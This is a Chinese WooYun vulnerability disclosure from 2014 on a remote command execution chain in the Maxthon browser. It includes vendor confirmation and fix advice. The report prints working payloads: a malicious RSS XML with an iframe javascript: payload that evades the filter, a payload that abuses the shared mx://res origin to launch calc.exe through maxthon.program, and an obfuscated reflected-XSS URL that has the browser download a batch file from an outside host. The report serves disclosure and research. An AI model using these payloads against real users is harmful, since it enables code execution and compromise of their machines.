当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082227

漏洞标题:傲游浏览器远程命令执行漏洞二

相关厂商:傲游

漏洞作者: gainover

提交时间:2014-11-06 11:50

修复时间:2015-02-04 11:52

公开时间:2015-02-04 11:52

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-06: 细节已通知厂商并且等待厂商处理中
2014-11-06: 厂商已经确认,细节仅向厂商公开
2014-11-09: 细节向第三方安全合作伙伴开放
2014-12-31: 细节向核心白帽子及相关领域专家公开
2015-01-10: 细节向普通白帽子公开
2015-01-20: 细节向实习白帽子公开
2015-02-04: 细节向公众公开

简要描述:

上一个漏洞,厂商回复说,只报XSS就可以了,但是关键点显然不在于XSS,如果你们真的只是“针对性的”修了XSS,以你们现在的权限隔离机制,以及功能体验和安全防护间的“冲突”是很容易再次导致问题的。

详细说明:

本文的大前提:
假定真如厂商所回复的那样,只修复了上文中的XSS。
接着是本文:
--------------------------------------------------------------
0x01 获得特权域XSS
--------------------------------------------------------------
傲游浏览器有一个RSS reader的功能,其实前面的报告者已经用到过这个功能。
见: WooYun: 傲游云浏览器远程命令执行漏洞
在这个漏洞中,“浏览器在处理 xml 内容的时候对 title、description,没有过滤。添加后就会执行嵌入的代码。”,于是傲游对此做了修复措施,会对title和description做出过滤。
我们来看看傲游是如何过滤的呢?, 我们编写以下代码:

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>wooyun.org 最新提交漏洞</title>
<link>http://www.wooyun.org</link>
<ttl>5</ttl>
<description>wooyun.org</description>
<language>zh-cn</language>
<generator>www.wooyun.org</generator>
<webmaster>webmaster@wooyun.org</webmaster>
<item>
<link> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </link>
<title><![CDATA[苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞]]></title>
<description><![CDATA[<strong><img src=1 onerror=alert(1) />简要描述:</strong><br/>苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞<br/><strong>详细说明:</strong><br/>暂未公开<br/><br/><strong><a href=" WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 " target="_blank">更多内容 &gt;&gt;</a></strong>]]></description>
<pubDate>Wed, 05 Nov 2014 15:38:18 +0800</pubDate>
<category></category>
<author>路人甲</author>
<guid> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </guid>
</item>
</channel>
</rss>


效果如下图所示:

1.jpg


可以看到,这里将 onerror 过滤成了 on_error,不难看出,这里的过滤并没有对 description做出“毁灭性”的过滤,即过滤 < 和 >;而是采用了富文本的过滤策略。
那么傲游是怎么过滤的呢?这种过滤机制,是在浏览器内置API进行的还是在JS里实现的呢?
通过对页面内JS代码的查看,我找到了以下内容:

2.jpg


可以看到傲游是在JS里通过正则表达式对内容进行过滤的,
我们的 onerror被过滤成 on_error是通过以下正则实现的:

z = z.replace(/(<\S[^>]+on)([a-z]{1,16}?)\s*=/ig, "$1_$2=").replace(/(<a[^>]+)href\s*=(['"]?\s*javascript:)/ig, '$1 href="#" h_ref=$2');


以前测富文本过滤,都是“黑盒”去猜测,现在过滤的正则都摆在眼前了,而且只有这么几条正则,难道还绕不过?定睛几秒,就发现<iframe>标签都没被过滤,因此我们可以很容易实现XSS。

<iframe src="javascript:alert(1)" />


效果如下:

3.jpg


嗯,这样一来,我们就获得了一个特权域XSS,当我们访问http://192.168.1.13/mx/poc3.xml,傲游会自动跳向以下地址,并执行我们的XSS代码:

mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml


4.jpg


--------------------------------------------------------------
0x02 利用傲游的权限隔离设计缺陷,可实现跨域调用API
--------------------------------------------------------------
傲游对不同的页面,给予了不同的权限:
比如:
mx://res/notification/ 该路径下页面允许访问 maxthon.program

5.jpg


但是,
mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml 路径下则不允许访问 maxthon.program
这种设计是有问题的,因为
两页页面的 protocol 都是 mx ,domain 都是 res,
所以两个页面是可以iframe嵌入后进行互相通信的,即,我们在 mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml 页面通过iframe嵌入 mx://res/notification/ 后,即可通过 contentWindow.maxthon.program 来调用 program的API。

7.jpg


--------------------------------------------------------------
0x03 综上,调用计算器测试
--------------------------------------------------------------
结合以上分析,不难构建以下 xml 代码:

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>wooyun.org 最新提交漏洞</title>
<link>http://www.wooyun.org</link>
<ttl>5</ttl>
<description>wooyun.org</description>
<language>zh-cn</language>
<generator>www.wooyun.org</generator>
<webmaster>webmaster@wooyun.org</webmaster>
<item>
<link> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </link>
<title><![CDATA[苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞]]></title>
<description><![CDATA[<strong><iframe name='var%20s%3Ddocument.createElement%28%22iframe%22%29%3Bs.src%3D%22mx%3A//res/notification/%22%3Bs.onload%3Dfunction%28%29%7Bs.contentWindow.maxthon.program.Program.launch%28%22C%3A/windows/system32/calc.exe%22%2C%22%22%29%7D%3Bdocument.body.appendChild%28s%29%3B' src="javascript:eval(unescape(window.name));void 0; "/>简要描述:</strong><br/>苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞<br/><strong>详细说明:</strong><br/>暂未公开<br/><br/><strong><a href=" WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 " target="_blank">更多内容 &gt;&gt;</a></strong>]]></description>
<pubDate>Wed, 05 Nov 2014 15:38:18 +0800</pubDate>
<category></category>
<author>路人甲</author>
<guid> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </guid>
</item>
</channel>
</rss>


用户访问恶意构造的xml: http://xsst.sinaapp.com/test/mxpoc.xml, 效果如下图:

8.jpg


--------------------------------------------------------------
0x04 如果,你们不修 external.mxCall的话。。。。
--------------------------------------------------------------
那么就会有以下内容,找一个maxthon.cn域下的XSS,执行以下代码。
external.mxCall('InstallSkin', "http://xsst.sinaapp.com/test/mx.bat");
setTimeout(function(){
location.href='http://xsst.sinaapp.com/test/mxpocbat.xml';
},1000);
这里我GOOGLE搜索了到了一个(傲游没XSS过滤器啦,找个反射型还是比较容易的)用于演示:
http://sso.maxthon.cn/quit.php?host=www.007.mx%bf\'.replace(/.*/,/javascript:eval(String.fromCharCode(101,120,116,101,114,110,97,108,46,109,120,67,97,108,108,40,39,73,110,115,116,97,108,108,83,107,105,110,39,44,32,32,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,46,98,97,116,34,41,59,13,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,13,32,32,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,112,111,99,98,97,116,46,120,109,108,39,59,13,125,44,49,53,48,48,41,59));/.source);}//&url=/login.php\'?ac=dada

漏洞证明:

访问以下页面, 观看计算器:
http://xsst.sinaapp.com/test/mxpoc.xml
访问以下页面,观看批处理:
http://sso.maxthon.cn/quit.php?host=www.007.mx%bf\'.replace(/.*/,/javascript:eval(String.fromCharCode(101,120,116,101,114,110,97,108,46,109,120,67,97,108,108,40,39,73,110,115,116,97,108,108,83,107,105,110,39,44,32,32,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,46,98,97,116,34,41,59,13,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,13,32,32,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,112,111,99,98,97,116,46,120,109,108,39,59,13,125,44,49,53,48,48,41,59));/.source);}//&url=/login.php\'?ac=dada

修复方案:

1.修XSS (富文本过滤,黑名单不安全,尤其似乎你们的过滤代码还是摆在我们眼皮底下的时候,本文的iframe标签只是绕过方式之一)
2.不要只是修XSS

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-11-06 12:33

厂商回复:

感谢报告,希望继续支持傲游

最新状态:

2014-11-06:也很高兴大家能够关心傲游,不仅仅是从产品层面。


漏洞评价:

评论

  1. 2014-11-06 11:56 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    大哥,你再这样子玩下去,遨游会哭的

  2. 2014-11-06 12:00 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    二哥大招又来了

  3. 2014-11-06 12:11 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    坐等第三集

  4. 2014-11-06 12:16 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

    哈哈哈哈

  5. 2014-11-06 13:40 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @傲游 呵呵,看到上次厂商说只报xss就可以了,我就知道后面肯定还会有的。

  6. 2014-11-06 14:00 | VinGogh ( 路人 | Rank:28 漏洞数:7 | G.X.)

    连载中。。。

  7. 2014-11-06 14:21 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    百度浏览器没更新

  8. 2014-11-10 09:55 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    我已经把遨游卸载了

  9. 2014-11-13 07:53 | 萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)

    说话 花粉发现乌云是个很不错的广告平台 多数上榜率高且有回应的产品 最终都回在测试完毕后留在花粉电脑里

  10. 2015-02-04 12:40 | illl ( 路人 | Rank:16 漏洞数:9 | 轻吟一句情话,执笔一副情画。绽放一地情...)

    二哥来一个chrome的,让googlle知道我天朝大乌云的二哥

  11. 2015-07-19 16:39 | sOnsec ( 实习白帽子 | Rank:93 漏洞数:24 | 安全是什么...)

    对浏览器的机制理解成都很深,厉害

  12. 2015-07-19 16:39 | sOnsec ( 实习白帽子 | Rank:93 漏洞数:24 | 安全是什么...)

    @乐乐哈哈